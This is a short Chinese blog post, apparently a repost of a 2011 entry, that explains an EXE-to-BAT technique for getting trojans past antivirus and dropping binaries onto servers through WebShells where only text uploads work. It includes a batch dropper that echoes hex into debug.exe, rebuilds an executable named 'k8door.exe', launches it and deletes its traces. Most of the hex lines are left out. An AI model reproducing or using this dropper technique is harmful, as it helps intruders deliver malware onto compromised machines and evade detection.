http://qqhack8.blog.163.com/blog/static/114147985201126105626755/

这是我2011年的东西了,当时用此方法可免杀很多马,至今依然有很大的用处

比如有一些WebShell，特别菜刀无法直接上传exe文件时(当然该工具可传任意文件)

可通过此方法向目标上传任意文件(菜刀下载功能不可用或没VPS做WEB下载的情况) 

现在依旧可用于类似奇葩环境，特别是S2环境很多时候仅能上传文本

[原创]3KB大小 EXE转BAT 工具原理以及编写思路  

2011-03-06 22:56:26|  分类：  

这是我在某群里 看到 别人发出来的一分 所谓 “加密的” 批处理 研究下

本工具原理  以及  使用 方法 如图    “加密” 后的BAT 如同以下源码类似

真正懂编程的朋友 说错 只要懂点BAT  Debug 和 Hex是神马东西的朋友

我相信  你一看 下面的BAT 代码  就知道什怎么写这个工具  提示:97编程冠军

附件中 那个只有3KB 大小 命令行下操作的工具 我是用C 写的

运行  工具原理.bat  会输出一个样本 k8door.exe  上面有工具的详细 编写思路

 

=================我是分隔线================================

@echo e 0100 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 >>k8team

@echo e 0110 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>k8team

@echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>k8team

@echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 >>k8team

。。。。。。。。这里省略N行。。。。。。。。。。。

@echo e 4100 ff

@echo rcx>>k8team

@echo 4000>>k8team

@echo n k8tmp>>k8team

@echo w>>k8team

@echo q>>k8team

@debug<k8team>nul

@Copy /b /y k8tmp k8door.exe

@start k8door.exe

@del k8t*